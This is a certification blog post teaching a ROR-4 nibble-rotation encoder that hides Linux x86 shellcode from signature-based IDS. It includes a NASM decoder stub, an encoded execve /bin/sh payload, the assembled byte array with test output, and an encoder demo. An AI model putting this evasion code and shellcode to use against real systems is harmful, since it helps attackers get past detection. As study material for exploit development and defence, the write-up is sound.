This blog series has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-877
To get the code provided in this exercise:
% git clone https://github.com/droberson/SLAE.git
The code will be within the Assignment-4 directory.
What is an Encoder?
An encoder takes a set of data and transforms it in such a manner that it can be easily reversible. Encoding is done for a variety of legitimate reasons. One example is base64 encoding binary data so it can be transferred over plain text protocols such as SMTP. This takes something such as a JPEG file that contains non-ASCII characters and encodes it as printable ASCII characters that can be copied and pasted into an email and sent without any issues.
We will be using an encoder to camouflage the contents of our shellcode. This is useful when trying to evade signature based IDS systems. Many signatures are based off of known exploits and their fixed payloads. Sometimes something as simple as changing one byte in the shellcode is enough to thwart a rule tailored to the exploit you are using.
For example, let’s say that you do something simple like flipping the first bit in each byte:
00000000 10000000 101010101 11111111 01111111 -> 10000000 00000000 001010101 01111111 11111111
Flipping one bit per byte is enough manipulation to break IDS signatures in many, but definitely not all cases. Keep in mind that well-written IDS signatures will work despite efforts to encode the shellcode, so this is not a foolproof method.
The problem here is that you must prefix the shellcode with a decoder to flip the first bit again to restore it to its original form before the shellcode is executed. This adds bulk to the shellcode and signatures can be written for your encoder if they are longer than a few bytes long.
This simple bit flipping encoder is great because of its simplicity and the fact that you aren’t limited to just flipping the first bit. You can flip the second, third, fourth, fifth, and so on. You can flip every other byte, you can make it rotate which bit is flipped, whatever. This might come in handy if you chose this method of encoding and it resulted in a bad character in your shell code.
The problem with bit flipping is that it is not foolproof. If you happen to flip a bit that results in a NULL byte or any other bad character for the shellcode, the encoder will either have to be adjusted to accommodate for this, or you will have to use another method of encoding:
10000000 01111111 101010101 11111111 11110000 -> 00000000 11111111 001010101 01111111 01110000 ^^^^^^^^ NULL byte has neutered our shellcode!
I decided to go with rotating each byte by 4 bits. This works great if the only bad characters you have to worry about is NULL bytes. If your original shellcode did not have NULL bytes to begin with, it is not possible to end up with a NULL byte using bit rotation. Furthermore, it is very easy to manually encode existing shellcodes using this method.
You can either use the ROR or ROL instructions and end up with the same result here. ROR stands for ROtate Right, and will transform bytes like so:
11110000 00001111 10000000 00001000 -> 00001111 11110000 00001000 10000000
If you didn’t pick up on the pattern, it shifts the bits in each byte to the right by 4, but rather than replacing the absent bits with zeroes, it rolls the bits over, preserving them.
This is very easy to translate existing hexadecimal shellcodes to this type of encoding scheme. You just swap the nibbles in each byte:
\x41\x42\x43\x44\x10\x11\x12\xab\xcd -> \x14\x24\x34\x44\x01\x11\x21\xba\xdc
JMP CALL POP Technique
We will be using the JMP CALL POP technique with this encoder.
Since I won’t know the exact memory location of the encoded string containing my shellcode, a technique such as JMP CALL POP is necessary:
- First, we JMP to the location of the shellcode relative to the start of our shellcode.
- The shellcode will call the decoder, placing its address into ESI.
- Last, we POP ESI, placing the address to the start of our string onto the stack.
Proof of Concept
Below is a proof of concept that demonstrates ROR 4 encoding and the JMP CALL POP technique. I used a very small 21 byte shellcode that I found on http://shell-storm.org, written by Geyslan G. Bem as an example mostly because of how small it was. I manually encoded this shellcode by swapping the nibbles in each byte:
BITS 32 jmp shellcode decode: pop esi ; pointer for shellcode push esi ; save pointer for the future xor ecx, ecx ; set counter to zero loop: mov al, [esi] ; get 1 byte of shellcode ror al, 4 ; rotate 4 bits mov [esi], al ; save rotated byte inc esi ; advance string 1 byte inc ecx ; counter cmp ecx, len ; check if we've reached the end of shellcode jne loop call [esp] ; execute decoded shellcode ; rotated by 4 bits (simply swap the hex around. ex: 0x12 -> 0x21) ; Tiny Execve sh by Geyslan G. Bem -- 21 bytes ; http://shell-storm.org/shellcode/files/shellcode-841.php shellcode: call decode encoded: db 0x13,0x9c,0x7f,0x1e,0x0b,0xb0,0x15,0x86,0xf2,0xf2,0x37,0x86,0x86,0xf2,0x26,0x96,0xe6,0x98,0x3e,0xdc,0x08 len equ $-encoded
As you can see, this loops through the shellcode until the end is reached, rotating each byte by 4 bits, finally, the shellcode is executed by calling the address stored earlier.
For reference, the shellcode I used versus the encoded values:
\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80 -> \x13\x9c\x7f\x1e\x0b\xb0\x15\x68\xf2\xf2\x37\x86\x86\xf2\x26\x96\xe6\x98\x3e\xdc\x08
I tested this using test.c:
Testing shellcode contained in shellcode char shellcode = "\xeb\x15\x5e\x56\x31\xc9\x8a\x06\xc0\xc8" "\x04\x88\x06\x46\x41\x83\xf9\x15\x75\xf2" "\xff\x14\x24\xe8\xe6\xff\xff\xff\x13\x9c" "\x7f\x1e\x0b\xb0\x15\x86\xf2\xf2\x37\x86" "\x86\xf2\x26\x96\xe6\x98\x3e\xdc\x08"; Length: 49 Executing shellcode.. $ uname -a Linux vagrant 4.4.0-66-generic #87-Ubuntu SMP Fri Mar 3 15:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
This encoder ended up adding an extra 28 bytes to the shellcode, but accomplished its intended task of masking the original shellcode from a simple pattern match.
Tying it all together
Now that the proof of concept works, I’d like to add this encoder to whatever shellcode I choose. I whipped together a quick C program that will take a file compiled by NASM or whatever assembler you are using, encode it using bit rotation, and output a C array that can be simply copy and pasted into an exploit:
Finally, to demonstrate that the encoder works, here is an example of it in action:
% cat exit.asm BITS 32 xor eax, eax inc eax mov ebx, eax add ebx, 99 int 0x80 % nasm -o exit exit.asm % ./encoder exit ROR 4 encoding shellcode contained in exit char shellcode = "\xeb\x15\x5e\x56\x31\xc9\x8a\x06\xc0\xc8" "\x04\x88\x06\x46\x41\x83\xf9\x0a\x75\xf2" "\xff\x14\x24\xe8\xe6\xff\xff\xff\x13\x0c" "\x04\x98\x3c\x38\x3c\x36\xdc\x08"; Length: 38 % echo $? 100